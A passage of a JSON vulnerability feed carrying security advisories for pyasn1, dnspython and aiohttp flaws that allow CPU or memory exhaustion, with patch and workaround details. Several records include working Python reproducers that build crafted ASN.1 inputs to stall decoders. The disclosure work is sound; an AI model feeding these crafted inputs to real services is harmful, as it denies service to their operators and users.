[v0.6.4 BER decoder](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py), `OctetStringPayloadDecoder` appends each decoded fragment to a growing `bytes` value with `header += component` in both its [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L338-L351) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L368-L387) constructed forms. [`AnyPayloadDecoder.indefLenValueDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1403-L1430) similarly uses `chunk += component`. In the exercised paths, each concatenation copies an increasingly large prefix. For `N` fixed-size fragments, the total copied data grows with `1 + 2 + ... + N`, or O(N²).\n\nThe OCTET STRING decoder is also the base class of the decoders for UTF8String, NumericString, PrintableString, TeletexString, VideotexString, IA5String, GraphicString, VisibleString, GeneralString, UniversalString, BMPString, ObjectDescriptor, GeneralizedTime, and UTCTime. These types inherit the same constructed-string reassembly path.\n\nThe [DER decoder's OCTET STRING restriction](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L49) replaces the tag-driven decoder, but its schema-driven `TYPE_MAP` retains the BER-derived decoder. Thus `der.decode(data)` rejects a constructed OCTET STRING, while `der.decode(data, asn1Spec=univ.OctetString())` accepts its definite-length form and reaches the accumulation loop. DER does not replace the inherited character-string decoders, so a constructed UTF8String is also accepted without `asn1Spec`. These inputs violate [X.690's DER string-encoding rule](https://www.itu.int/rec/T-REC-X.690-202102-I/en) and should not be described as valid DER encodings.\n\nThe original short-fragment, definite-length OCTET STRING reproducer is valid BER. The CER decoder accepts it, but it is not a conforming CER string encoding: X.690 requires an indefinite-length outer constructed string and 1,000 contents octets per fragment except possibly the last. A conforming CER-shaped constructed OCTET STRING with those fragment sizes also reaches the loop and shows quadratic growth. The indefinite-length `ANY` reproducer below can represent a CER `SEQUENCE OF OCTET STRING` and reaches the separate `ANY` loop when decoded with an `ANY` schema.\n\nThe decoder's eight-octet length-field limit and nesting-depth limit do not bound the number of sibling fragments in these examples. The BER reproducer below uses only a three-octet outer length field; all fragments have shallow nesting. There is no per-message fragment-count cap in v0.6.4.\n\n## Impact\n\nIf an application passes attacker-controlled ASN.1 to the affected `decode()` or `StreamingDecoder` path without an adequate input or resource limit, a megabyte-scale value can occupy a decoding worker for seconds. Repeated inputs can exhaust available CPU. Whether this is reachable before authentication, or through a particular protocol, depends on the application; the library finding alone does not establish those conditions. No confidentiality or integrity impact is claimed.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER inputs trigger the string-reassembly issue without special conditions, privileges, or user interaction. Repeated crafted inputs could occupy all available decoder workers and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not assert that every adopter has such an endpoint or loses all service; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\nOn the official v0.6.4 tag, local CPU-time measurements with CPython 3.14.8 on macOS arm64 gave the following results. Times vary by machine and Python runtime; the input-size scaling is the relevant observation. “Fixed” means the local 0.6.5 decoder fix applied to the same inputs.\n\n| Decoder path and input | Fragments | v0.6.4 CPU | Fixed CPU |\n| --- | ---: | ---: | ---: |\n| BER constructed OCTET STRING, 0.40 MB | 100,000 × 2 payload bytes | 0.340 s | 0.160 s |\n| BER constructed OCTET STRING, 0.80 MB | 200,000 × 2 payload bytes | 0.886 s | 0.312 s |\n| BER constructed OCTET STRING, 1.60 MB | 400,000 × 2 payload bytes | 2.738 s | 0.623 s |\n| BER indefinite `ANY`, 0.30 MB | 100,000 × 1 payload byte | 0.459 s | 0.206 s |\n| BER indefinite `ANY`, 0.60 MB | 200,000 × 1 payload byte | 1.245 s | 0.412 s |\n| BER indefinite `ANY`, 1.20 MB | 400,000 × 1 payload byte | 3.980 s | 0.826 s |\n| CER constructed OCTET STRING, 1.00 MB, conforming fragment layout | 1,000 × 1,000 payload bytes | 0.0089 s | 0.0022 s |\n| CER constructed OCTET STRING, 2.01 MB, conforming fragment layout | 2,000 × 1,000 payload bytes | 0.0311 s | 0.0044 s |\n| CER constructed OCTET STRING, 4.02 MB, conforming fragment layout | 4,000 × 1,000 payload bytes | 0.1379 s | 0.0090 s |\n\nFor the same short-fragment layout, the original report measured up to 16.05 seconds for a 3.2 MB BER constructed OCTET STRING. An independent report on CPython 3.11.16/Linux measured 5.76 seconds for a 2.4 MB constructed OCTET STRING, versus about 0.005 seconds for a primitive OCTET STRING of comparable size. These are reporter measurements on different systems, not fixed performance guarantees.\n\n## Reproduction\n\nThis example uses public decoder APIs. Run it with pyasn1 0.6.4 and increase `n` to observe the scaling. The final two calls show the DER paths accepted by v0.6.4; their constructed encodings are not valid DER.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\nfrom pyasn1.type import univ\n\n\ndef tlv(identifier, contents):\n    length = len(contents)\n    if length < 128:\n        return bytes((identifier, length)) + contents\n    encoded = length.to_bytes((length.bit_length() + 7) // 8, \"big\")\n    return bytes((identifier, 0x80 | len(encoded))) + encoded + contents\n\n\ndef measure(label, decode, substrate, asn1Spec=None):\n    start = time.process_time()\n    _, rest = decode(substrate, asn1Spec=asn1Spec)\n    assert not rest\n    print(f\"{label}: {len(substrate)} input bytes, \"\n          f\"{time.process_time() - start:.3f} CPU seconds\")\n\n\nn = 100_000\noctet_fragments = b\"\\x04\\x02AA\" * n\nutf8_fragments = b\"\\x0c\\x02AA\" * n\n\nmeasure(\"BER constructed OCTET STRING\", ber.decode,\n        tlv(0x24, octet_fragments))\nmeasure(\"BER indefinite ANY\", ber.decode,\n        b\"\\x30\\x80\" + b\"\\x04\\x01A\" * n + b\"\\x00\\x00\",\n        univ.Any())\n\n# CER uses indefinite length and 1,000-content-octet primitive fragments.\ncer_fragment = tlv(0x04, b\"A\" * 1000)\nmeasure(\"CER constructed OCTET STRING\", cer.decode,\n        b\"\\x24\\x80\" + cer_fragment * 1000 + b\"\\x00\\x00\")\n\n# These constructed encodings are accepted by pyasn1 but are invalid DER.\nmeasure(\"DER OCTET STRING with schema\", der.decode,\n        tlv(0x24, octet_fragments), univ.OctetString())\nmeasure(\"DER UTF8String without schema\", der.decode,\n        tlv(0x2c, utf8_fragments))\n```\n\n## Patch\n\npyasn1 0.6.5 replaces the growing `bytes` accumulator with a list of fragments and joins them once after decoding in all three affected loops. The OCTET STRING base-class change also covers the inheriting character-string decoders. This removes the repeated copying while preserving the assembled decoded value.\n\n## Workaround\n\nUntil upgrading, enforce application-appropriate limits on the size of untrusted ASN.1 input *before* passing it to pyasn1, and limit the CPU resources available to decoding workers. Applications that require DER can also reject constructed string encodings before invoking the decoder. The appropriate byte limit depends on the protocol and expected valid values.\n\n## Credits and references\n\nReported by [alimony](https://github.com/alimony). Independently reported by [manus-pi](https://github.com/manus-pi), whose report identified the schema-driven DER route, inherited character-string decoders, and additional performance evidence.\n\n- [pyasn1 v0.6.4 affected decoder source](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py)\n- [ITU-T X.690, CER and DER string-encoding rules](https://www.itu.int/rec/T-REC-X.690-202102-I/en)\n- [CVE-2026-59885, separate OID decoder issue](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-9m75-vc3g-4x39"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119195"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-119196","published":"2026-10-31T10:38:15Z","modified":"2026-10-31T10:38:15Z","upstream":["GHSA-2qm8-x737-gmw5","CVE-2026-119196"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU consumption in constructed BIT STRING decoding","details":"## Summary\n\nIn pyasn1 through 0.6.4, decoding a constructed BIT STRING with many fragments repeatedly shifts and copies the entire value accumulated so far. For fixed-size fragments, CPU time grows quadratically with the encoded input size. An application that passes sufficiently large, attacker-controlled ASN.1 data to an affected decoder can suffer CPU exhaustion during `decode()`; no conversion or formatting of the decoded value is required.\n\nThe BER and CER decoders reach this path for constructed BIT STRING values, with or without an `asn1Spec`. The DER decoder rejects constructed BIT STRING in schema-less decoding, but its schema-driven path accepts a **definite-length** constructed BIT STRING when given a matching `asn1Spec` and reaches the same vulnerable code. Constructed BIT STRING is not valid DER; this DER exposure is due to decoder permissiveness. DER rejects the indefinite-length form.\n\nThis is a separate decoder path from the OBJECT IDENTIFIER accumulation fixed in [CVE-2026-59885](https://github.com/advisories/GHSA-8ppf-4f7h-5ppj).\n\n## Technical details\n\nIn the 0.6.4 [`BitStringPayloadDecoder`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L173-L301), both the [definite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L237-L255) and [indefinite-length](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L275-L301) fragment loops call `BitString.fromOctetString(..., prepend=bitString)` for every fragment. [`fromOctetString`](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/type/univ.py#L614-L627) shifts the growing `SizedInteger` left by the fragment's bit length and ORs in the fragment. Shifting an ever-larger Python integer for each fixed-size fragment makes total work O(n²) for n fragments. The fragments are siblings, so the decoder's nesting-depth limit does not constrain their count; its limit on the number of length octets does not prevent the demonstrated inputs.\n\nIn 0.6.4, DER's [tag-driven map](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L15-L40) disables constructed BIT STRING, while its schema-driven type map retains the inherited decoder that permits it. This explains why a schema-less DER rejection is not a negative result for all DER decoding.\n\nUnder [X.690](https://www.itu.int/rec/T-REC-X.690-202102-I/en), a conforming CER constructed BIT STRING uses an indefinite-length outer encoding and primitive fragments with 1000 contents octets except possibly the last. That form reaches the affected indefinite-length loop. DER requires primitive string encoding, although the schema-driven pyasn1 decoder accepts the definite-length constructed example below.\n\n## Impact\n\nAn application is exposed when untrusted input can reach one of the affected decoder paths and its input limits admit enough fragments. The work occupies the decoding thread or worker and may cause denial of service. Whether the input is network-accessible or unauthenticated depends on the calling application. This advisory makes no claim that every application using pyasn1, or any particular protocol implementation, accepts such input.\n\n## Severity assessment (CVSS v3.1)\n\nThe 7.5 Base score assumes a reasonable application that automatically decodes attacker-supplied ASN.1 from unauthenticated network input. Valid BER and conforming CER values trigger the issue without special conditions, privileges, or user interaction. Repeated crafted values could occupy a finite decoder-worker pool and deny service while the attack continues. No confidentiality or integrity impact is demonstrated. This library-level score does not claim that every application is network-exposed or fully unavailable; deployment-specific input limits and architecture may change the score. See [FIRST's library-scoring guidance](https://www.first.org/cvss/v3-1/user-guide).\n\n## Reproducer\n\nThe definite-length example below is valid BER. It is deliberately not a conforming CER or DER encoding. The second constructor uses conforming CER fragment sizing and framing. CPU times are machine-dependent; run the larger cases only in a local test environment.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber_decoder\nfrom pyasn1.codec.cer import decoder as cer_decoder\nfrom pyasn1.codec.der import decoder as der_decoder\nfrom pyasn1.error import PyAsn1Error\nfrom pyasn1.type import univ\n\n\ndef encode_length(size):\n    octets = size.to_bytes((size.bit_length() + 7) // 8, \"big\")\n    return bytes((0x80 | len(octets),)) + octets\n\n\ndef definite_fragments(count):\n    body = b\"\\x03\\x02\\x00\\xa5\" * count  # one data octet per BIT STRING fragment\n    return b\"\\x23\" + encode_length(len(body)) + body\n\n\ndef cer_fragments(count):\n    # Each primitive fragment has 1000 contents octets: one unused-bits\n    # octet (zero) followed by 999 data octets.\n    fragment = b\"\\x03\" + encode_length(1000) + b\"\\x00\" + b\"\\xa5\" * 999\n    return b\"\\x23\\x80\" + fragment * count + b\"\\x00\\x00\"\n\n\ndef measure(label, decode, payload, **options):\n    start = time.process_time()\n    value, remainder = decode(payload, **options)\n    print(label, len(payload), f\"{time.process_time() - start:.3f}s CPU\")\n    assert not remainder and len(value) > 0\n\n\nfor count in (50_000, 100_000, 200_000):\n    measure(f\"BER {count} fragments\", ber_decoder.decode,\n            definite_fragments(count))\n\nfor count in (1_000, 2_000, 4_000):\n    measure(f\"CER {count} fragments\", cer_decoder.decode,\n            cer_fragments(count))\n\nsample = definite_fragments(1_000)\nmeasure(\"DER with BIT STRING schema\", der_decoder.decode, sample,\n        asn1Spec=univ.BitString())\ntry:\n    der_decoder.decode(sample)\nexcept PyAsn1Error:\n    print(\"DER without schema rejects the constructed value\")\nelse:\n    raise AssertionError(\"DER unexpectedly accepted schema-less input\")\n```\n\n## Verification\n\nLocal measurements of the official v0.6.4 tag on CPython 3.14.8 used `time.process_time()`. A local 0.6.5 candidate containing the fix was timed on the same machine. Times are illustrative, not a guaranteed cost on other systems.\n\n| Input | Size | v0.6.4 CPU | 0.6.5 candidate CPU |\n| --- | ---: | ---: | ---: |\n| BER definite, 50,000 fragments | 0.20 MB | 0.530 s | 0.084 s |\n| BER definite, 100,000 fragments | 0.40 MB | 1.915 s | 0.170 s |\n| BER definite, 200,000 fragments | 0.80 MB | 7.392 s | 0.344 s |\n| Conforming CER, 1,000 fragments | 1.004 MB | 0.163 s | 0.0035 s |\n| Conforming CER, 2,000 fragments | 2.008 MB | 0.657 s | 0.0070 s |\n| Conforming CER, 4,000 fragments | 4.016 MB | 2.582 s | 0.0144 s |\n\nThe definite BER input with 100,000 fragments also decoded through DER with `asn1Spec=univ.BitString()` in 1.949 s on v0.6.4, versus 0.172 s with the 0.6.5 candidate. Schema-less DER rejected the same input. Independent reports reproduced the old behavior on v0.6.4: one measured 21.1 s for a 1.28 MB definite-length value; another measured 7.25 s for a 0.8 MB value versus 2.8 ms for a primitive BIT STRING carrying the same data volume. These measurements were taken on different systems and should not be compared as a single benchmark series.\n\n## Resolution\n\nUpgrade to pyasn1 0.6.5. The decoder assembles fragment bits in a `bytearray`, preserves decoded bit values including intermediate-fragment padding, and converts the complete payload to a BIT STRING once. This removes the repeated shift of the growing integer in both constructed decoding loops.\n\nFor applications that cannot upgrade immediately, enforce an application-appropriate limit on untrusted ASN.1 input size **before** passing it to pyasn1. Such a limit bounds exposure but does not change the quadratic behavior of 0.6.4. Where a protocol forbids constructed BIT STRING, rejecting that encoding before decoding also prevents this path.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-2qm8-x737-gmw5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119196"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/73ba7b043cc7e92cb37f16f2c955bff93b0e6f6c"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-119197","published":"2026-10-31T10:38:15Z","modified":"2026-10-31T10:38:15Z","upstream":["GHSA-mm57-4v3p-rchx","CVE-2026-119197"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.4","key":"pkg:pypi/pyasn1@0.6.4","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic-complexity denial of service in binary REAL decoding","details":"## Summary\n\nIn pyasn1 0.6.4 and earlier, decoding a binary-encoded ASN.1 REAL with a large mantissa can consume CPU time quadratic in the mantissa length. The BER, CER, and DER decoders all use the affected `RealPayloadDecoder`. An application is exposed when it passes attacker-controlled ASN.1 containing a REAL value to one of these decoders, either without an `asn1Spec` or with a schema that includes REAL. The work occurs inside `decode()`; the application does not need to convert, print, or otherwise use the resulting REAL object.\n\nThis is distinct from [CVE-2026-59886](https://github.com/advisories/GHSA-hm4w-wwcw-mr6r), which concerns converting an already-decoded REAL to a Python float. That issue was fixed in 0.6.4 and its advisory states that decoding alone does not trigger it.\n\n## Root cause and affected components\n\nFor binary REAL values, [`RealPayloadDecoder.valueDecoder` in v0.6.4](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L535-L603) builds the mantissa one octet at a time:\n\n```python\np = 0\nwhile chunk:\n    p <<= 8\n    p |= chunk[0]\n    chunk = chunk[1:]\n```\n\nEach shift processes an integer that grows with the mantissa; with byte strings, each slice also copies the remaining suffix. Repeating both operations for every octet makes decoding quadratic in mantissa size. The decoder's [eight-octet length-field limit](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/ber/decoder.py#L1704-L1717) does not impose a practical mantissa-size limit for the inputs demonstrated below. [CER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/cer/decoder.py#L51-L62) and [DER](https://github.com/pyasn1/pyasn1/blob/v0.6.4/pyasn1/codec/der/decoder.py#L23-L31) reuse the BER REAL payload decoder, so all three paths reach this loop.\n\nThe vulnerable loop is present in every available repository release tag inspected, from v0.2.1 through v0.6.4. Runtime measurements below were made on v0.6.4; older releases were checked for the loop, not benchmarked individually.\n\n## Impact\n\nA comparatively small REAL value can hold a decoder worker on one CPU core for seconds or longer. The attacker must be able to supply data that the application sends to an affected decoder, and application-level input limits may reduce exposure. The demonstrated effect is CPU exhaustion during decoding; this advisory does not assert a network endpoint, unauthenticated access, or an affected downstream application by itself.\n\n## Reproduction and evidence\n\nThe following example uses pyasn1 0.6.4. The `0x09` tag identifies REAL; `0x80 0x00` selects a positive, base-2 binary value with a one-octet zero exponent, followed by a large mantissa. It exercises `decode()` only.\n\n```python\nimport time\n\nfrom pyasn1.codec.ber import decoder as ber\nfrom pyasn1.codec.cer import decoder as cer\nfrom pyasn1.codec.der import decoder as der\n\n\ndef real_value(mantissa_octets):\n    content = b\"\\x80\\x00\" + b\"\\xff\" * mantissa_octets\n    length = len(content).to_bytes(3, \"big\")\n    return b\"\\x09\\x83\" + length + content\n\n\nfor codec in (ber, cer, der):\n    for size in (50_000, 100_000, 200_000):\n        substrate = real_value(size)\n        started = time.process_time()\n        value, rest = codec.decode(substrate)\n        print(codec.__name__, size, time.process_time() - started)\n        assert not rest\n        assert tuple(value)[1:] == (2, 0)\n```\n\nThe original report measured the following BER CPU times on repository commit `aa05757`. That commit is later than the official v0.6.4 tag; the vulnerable loop is identical in the tagged release.\n\n| Mantissa size | Reporter's BER CPU time |\n| ---: | ---: |\n| 50,000 octets | 0.328 s |\n| 100,000 octets | 1.299 s |\n| 200,000 octets | 6.043 s |\n| 400,000 octets | 24.095 s |\n\nThe same report measured 5.645 s for a 200,000-octet mantissa through DER.\n\nA separate local reproduction on the official v0.6.4 tag (`d43496f`, CPython 3.14.8, macOS arm64) measured BER at 0.209 s, 0.884 s, and 3.451 s for 50,000, 100,000, and 200,000 mantissa octets respectively. CER and DER each took about 0.89 s at 100,000 octets. These are machine-specific measurements; the repeated near-fourfold cost for doubled input is the relevant result. Neither reproduction calls `float()`, `str()`, or `prettyPrint()`.\n\n## Fix\n\npyasn1 0.6.5 replaces the per-octet shift and slice loop with one `int.from_bytes(bytes(chunk), \"big\")` conversion. Sign, scale, exponent, and the decoded REAL tuple are preserved. The fix is in the shared BER payload decoder and therefore covers BER, CER, and DER. A local check of the 0.6.5 candidate decoded a 200,000-octet mantissa correctly through all three codecs; the check does not establish behavior for every application using REAL.\n\n## Workarounds\n\nUpgrade to pyasn1 0.6.5. Until then, reject or strictly limit attacker-controlled ASN.1 input that may contain REAL values before passing it to pyasn1. The appropriate size limit depends on the application's available CPU time and request volume.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/security/advisories/GHSA-mm57-4v3p-rchx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-119197"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/pull/132"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/commit/ce3ec3390784780a530047e0e77be5ff457636a4"},{"type":"PACKAGE","url":"https://github.com/pyasn1/pyasn1"},{"type":"WEB","url":"https://github.com/pyasn1/pyasn1/releases/tag/v0.6.5"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128089","published":"2026-11-14T10:58:08Z","modified":"2026-11-14T10:58:08Z","upstream":["GHSA-vvf4-9x63-8xvv","CVE-2026-128089"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.7.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"2.9.2","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.8.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.8.0","key":"pkg:pypi/dnspython@2.8.0","resource":"dnspython"}]},"summary":"dnspython has excessive memory and CPU use","details":"### Summary\n\nA maliciously crafted zone file could use a WKS record to consume excessive memory and CPU, possibly causing the process to exit due to memory exhaustion.\n\n### Details\n\nThe `from_text()` parser does not check that a WKS record service number is between 0 and 65535 inclusive.  It then uses this number to resize the bitmap to accommodate a bit with that offset.  This can cause extremely large memory allocations, and also extends the array very inefficiently, wasting CPU.\n\n### Proof of concept\n\nThis demonstrates the failure to limit the service number, though with a value that does not cause excessive memory or CPU consumption.\n\n```\nrd = dns.rdata.from_text(\"IN\", \"WKS\", \"10.0.0.1 udp 65536\")\n```\n\n### Impact\n\nIf dnspython is used to read zonefile format where the attacker can control the type and rdata text, the program may consume excessive memory or CPU, denying service.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-vvf4-9x63-8xvv"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/388db14ee9923288f6e73f86e482c77706e59d73"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/a62e1be066da0ed71b5b59f37435bb17cfa0070f"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.2"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128124","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-jm3w-gw2p-xjfj","CVE-2026-128124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Event loop stall in add_domain() wildcard matching","details":"### Summary\n\n`Application.add_domain()` compiled each `*` in a host mask to `[^:]*`. With two or more wildcards in a mask, matching a long `Host` header that does not match the mask took polynomial time on the event loop.\n\n### Impact\n\nAn attacker could stall a server that registers a domain mask with more than one wildcard by sending requests with a long `Host` header.\n\n### Workaround\n\nUse at most one `*` in a domain mask.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-jm3w-gw2p-xjfj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128124"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13943"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13945"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/766b882820da0651c84090e366a3b024b4a263c9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/c6ac0e44c3c573ff9616f4a6a532992538b31e43"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128125","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-5pv8-vvhc-h7jv","CVE-2026-128125"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Unbounded cookie storage in client CookieJar","details":"### Summary\n\n`Set-Cookie` parsing created additional cookies from unrecognised `name=value` attributes, and `CookieJar` had no limit on the number of cookies stored or sent. A server could make the client store a very large number of cookies and generate very large `Cookie` headers.\n\n### Impact\n\nA malicious server could cause excessive memory and CPU use in a client, repeated on every redirect, and cause later requests to the same domain to build an excessively large `Cookie` header.\n\n---\n\nPatch: https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-5pv8-vvhc-h7jv"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-128125"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13930"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13942"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6963ee0befec1502b6bb7b4db6c72d044c08f4fa"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/b1f6c87b2bd3bd80f2b6c22ff46e11d00921e412"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible@13-CVE-2026-128126","published":"2026-11-17T10:24:55Z","modified":"2026-11-17T10:24:55Z","upstream":["GHSA-xgw8-8ccx-rmqh","CVE-2026-128126"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@13","purl":"pkg:brew/ansible%4013"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"13.8.0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.3","key":"pkg:pypi/aiohttp@3.14.3","resource":"aiohttp"}]},"summary":"AIOHTTP: Too many URL-encoded form fields block the event loop","details":"### Summary\n\n`Request.post()` had no limit on the number of fields in a URL-encoded form body. Inserting a large number of repeated keys into a `MultiDict` took quadratic time on the event loop.\n\n### 